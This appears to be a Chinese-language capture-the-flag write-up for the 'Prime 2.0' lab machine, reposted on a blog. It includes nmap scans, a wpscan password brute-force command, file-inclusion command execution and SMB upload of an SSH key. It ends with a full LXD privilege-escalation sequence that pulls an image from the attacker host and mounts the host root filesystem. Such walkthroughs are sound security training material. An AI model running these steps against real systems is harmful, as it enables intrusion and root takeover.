当前位置: 首页 > article >正文

Prime 2.0

信息收集

# Nmap 7.94 scan initiated Thu Nov 23 20:09:06 2023 as: nmap -sn -oN live.nmap 192.168.182.0/24
Nmap scan report for 192.168.182.1
Host is up (0.00018s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.182.2
Host is up (0.00019s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.182.145
Host is up (0.00018s latency).
MAC Address: 00:0C:29:5A:8B:78 (VMware)
Nmap scan report for 192.168.182.254
Host is up (0.00026s latency).
MAC Address: 00:50:56:E1:8D:23 (VMware)
Nmap scan report for 192.168.182.130
Host is up.
# Nmap done at Thu Nov 23 20:09:08 2023 -- 256 IP addresses (5 hosts up) scanned in 1.96 seconds

确定攻击的靶标为192.168.182.145

# Nmap 7.94 scan initiated Thu Nov 23 20:09:23 2023 as: nmap -sT --min-rate 10000 -p- -oN port.nmap 192.168.182.145
Nmap scan report for 192.168.182.145
Host is up (0.0031s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
10123/tcp open  unknown
MAC Address: 00:0C:29:5A:8B:78 (VMware)

# Nmap done at Thu Nov 23 20:09:26 2023 -- 1 IP address (1 host up) scanned in 2.96 seconds

开放5个端口号!分别是22(ssh)、80(http)、139(netbios-ssn)、445(microsoft-ds)以及10123端口!

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 09:51 CST
Nmap scan report for 192.168.182.145
Host is up (0.00091s latency).

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0a:16:3f:c8:1a:7d:ff:f5:7a:66:05:63:76:7c:5a:95 (RSA)
|   256 7f:47:44:cc:d1:c4:b7:54:de:4f:27:f2:39:38:ff:6e (ECDSA)
|_  256 f5:d3:36:44:43:40:3d:11:9b:d1:a6:24:9f:99:93:f7 (ED25519)
80/tcp    open  http        Apache httpd 2.4.46 ((Ubuntu))
|_http-title: HackerCTF
|_http-server-header: Apache/2.4.46 (Ubuntu)
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10123/tcp open  http        SimpleHTTPServer 0.6 (Python 3.9.4)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.9.4
MAC Address: 00:0C:29:5A:8B:78 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: HACKERCTFLAB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.34 seconds

靶标运行在vmware中,操作系统是Ubuntu,22端口的为OpenSSH,版本是8.4p1,80端口是Apache起的http服务,139 445为Samba服务! 10123端口是SimpleHTTPServer。

# Nmap 7.94 scan initiated Thu Nov 23 20:09:48 2023 as: nmap -sT --script=vuln -p22,80,139,445,10123 -oN vuln.nmap 192.168.182.145
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.182.145
Host is up (0.00038s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.46 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.46 (ubuntu)'
|_  /server/: Potentially interesting directory w/ listing on 'apache/2.4.46 (ubuntu)'
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
10123/tcp open  unknown
MAC Address: 00:0C:29:5A:8B:78 (VMware)

Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
|_smb-vuln-ms10-054: false

# Nmap done at Thu Nov 23 20:10:54 2023 -- 1 IP address (1 host up) scanned in 65.34 seconds

80端口上存在三个目录,其中比较重要的就是server目录!其中10123端口上的服务比较特殊~ 优先的突破点还是在80端口上~

渗透测试

首先还是来看80端口上运行的服务:

界面就是如上所示,看看源码里面是否存在什么信息!关于首页上面的英文,大概说了“我们是谁?”和“为什么我们要做这件事情?”

这是一个HACKCTF社区~

首页三个功能点,分别尝试进行了点击,没什么有价值的东西。尝试访问/server目录。同时进行目录的爆破!

发现了gila目录和一个gila的压缩包,下载这个压缩包~(同时注意到这个gila的版本是1.10.9),下载成功后解压,发现这是gila-1.10.9版本的源码:

尝试访问gila:

空白的页面,说明是存在gila的,但是访问不到(难道是没有授权嘛?感觉首页都访问不到~),利用searchsploit搜索了gila,发现该版本的gila,存在RCE!(需要授权)

看看下载下来的gila的源码里面存在什么东西吧!

默认配置文件里面存在数据库的用户名和密码,以及数据库的名字。

目录扫描

上面经过了目录的扫描:

发现存在wp目录,应该就是wordpress!

先利用cewl爬取了wp的相关关键词,然后利用wpscan尝试枚举了wp的用户,并成功的发现了wp的一个用户是admin!

cewl爬取的相关信息:

尝试对wp的登陆界面进行爆破!

失败~ 换一个字典试试~ 尝试wpscan进行密码的破解:

wpscan --url http://192.168.182.145/wp -U admin --passwords /usr/share/wordlists/rockyou.txt

同时利用了爬取的关键字作为了密码进行爆破,均没有成功~

利用wpscan的时候,找到了wordpress的版本是5.8的版本这个版本在5.8.3以下存在sql注入的漏洞!但是还是利用失败了

好抽象啊~ 如果sql注入成功的话,那么也是可以拿到密码的,但是没成功~

利用API Token进行扫描:

找到了一个文本文件包含的漏洞!查看说明文档:

找到exp进行利用:

发现确实存在文件包含漏洞!

10123端口

该端口上存在许多的文件,但是很多文件为空:

比较有价值的文件:

当前的目录是家目录?然后下面有一个upload目录,upload目录下面存在着shell.php文件,但是我们尝试访问便直接下载下来了,因为他是SimpleHTTP起的服务。我们直接进行文件包含。

然后给定cmd的参数的参数值,进行命令的执行!

确实能够执行命令,那么我们可以写反弹shell!

本地起监听!

拿到初始的shell!然后利用python提升bash的交互性!

提权

由于端口信息出现了139 445 SMB协议!

SMB(Server Message Block)服务器消息块协议,用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。一般共享文件夹打印机使用较多
它是应用层(和表示层)协议,使用C/S架构。

enum4linux工具是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息。

利用enum4linux快速收集相关信息:

enum4linux -a -o 192.168.182.145
-a 枚举所有的消息
-o 收集操作系统相关信息

发现存在两个磁盘和一个IPC链接!其中welcome的介绍是”Welcome to Hackerctf LAB“

利用smbclient进行连接!

smbclient //192.168.182.145/welcome

需要输入root的密码!密码相关的信息,在拿到初始的shell之后,找到了一个数据库的默认账号和密码都是root:

进行密码碰撞!成功登录!

整个思路是这样的:利用smb登录到//192.168.182.145/welcome,然后我们本地创建一个ssh公钥,给这个公钥上传到//192.168.182.145/welcome(登陆上来发现还是jarves的家目录!具有可写的权限),上传到.ssh目录下,命名为authorized_keys~ 然后利用这个公钥进行ssh登录到jarves用户!

利用ssh-keygen创建ssh的公钥

ssh-keygen -b 2048

公钥的key被存储在/root/.ssh/id_rsa.pub!

然后给他修改一个名字,命名为authorized_keys!然后在这个文件的当前目录下,使用smbclient重新登录,登录之后利用put命令,将文件上传!

然后退出之后,利用ssh登录jarves用户!

通过id命令,查看到jarves属于lxd组!

id 
cat /etc/group|grep jarves

lxd提权

Docker是一个用于在集中式平台上创建、部署和运行应用程序的开源工具!这使得主机的操作系统通过容器运行具有相同linux内核的应用程序,而不是创建一个完整的虚拟机!

lxc是linux容器的缩写,Linux容器是一种操作系统,用于通过单个Linux内核在受控主机上虚拟运行多个Linux系统。是一种用于操作系统虚拟化的工具。

lxd代表Linux Daemon,他是一个扩展,主要用于指导LXC。

LXD LXC是一个系统级的容器,但是Docker是一个应用程序容器!

首先查看当前用户所属的组:

cat /etc/group | grep jarves

查看容器部署情况:

lxc list

下载alpine:

git clone https://github.com/saghul/lxd-alpine-builder.git

构建:

cd lxd-alpine-builder
./build-alpine

(会生成一个.tar.gz的压缩包)开启一个简单的http服务:

python3 -m http.server 80

目标机器下载刚才生成的压缩包:

wget http://192.168.182.130/alpine-v3.18-x86_64-20231124_1956.tar.gz

使用lxd进行初始化;用lxc命令挂载image:

lxd init
lxc image import ./alpine-v3.18-x86_64-20231124_1956.tar.gz --alias myimage
导入image 重命名为myimage

列出已经存在的image:

lxc image list

lxc init 来初始化image(可以填别名,也可以填指纹),也就是alpine系统,并创建ignite账户,通过c参数来配置安全提升策略为true。代表用户ignite可以申请高级权限。

lxc init myimage ignite -c security.privileged=true
 
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
 
lxc start ignite
 
lxc exec ignite /bin/sh

lxc config device 命令用来配置设备,add吧mydevice设备添加到了test账户中,disk是磁盘挂载,把本机/目录挂载到容器的/mnt/root下,recursive即是否递归,代表是否将所有子目录及所有文件进行挂载;

进入mnt/root目录,这个目录包含所有宿主机文件;

替换掉authorized_keys文件!

最后利用ssh远程登陆到root账户上!


http://www.kler.cn/a/156169.html

相关文章:

  • 【JAVA】Java基础—面向对象编程:封装—保护类的内部数据
  • LeetCode【0027】移除元素
  • 管家婆财贸ERP BB059.银行流水导入对账
  • Apache ECharts
  • HarmonyOS Next 实战卡片开发 02
  • Android HandlerThread 基础
  • 基于maobox-gl 纯前端绘制全球色斑图
  • 布局问题1:addSpacing()和setSpacing()函数的区别?
  • C++服务器 支持http、tcp protobuf、websocket,linux开源框架 零依赖轻松编译部署 Reactor
  • nodejs实现文件/目录的压缩和解压
  • 【微信小程序】上传头像 微信小程序内接小程序客服
  • C++ day51 买卖股票最佳时期
  • 计算机网络——习题
  • 【PTA-C语言】编程练习3 - 循环结构Ⅱ
  • 安装配置JDK1.8
  • 单例模式的实现
  • 字符串转换整数
  • 一个完整的手工构建的cuda动态链接库工程 03记
  • SQL Server 2016(创建数据表)
  • qt-C++笔记之识别点击鼠标右键、点击位置以及Qt坐标系详解
  • flutter-web中使用js工具类
  • Linux系统配置深度学习环境之cudnn安装
  • 40 mysql join 的实现
  • jmeter下载地址
  • [Java] 模拟Jdk 以及 CGLib 代理原理
  • 网络接口规范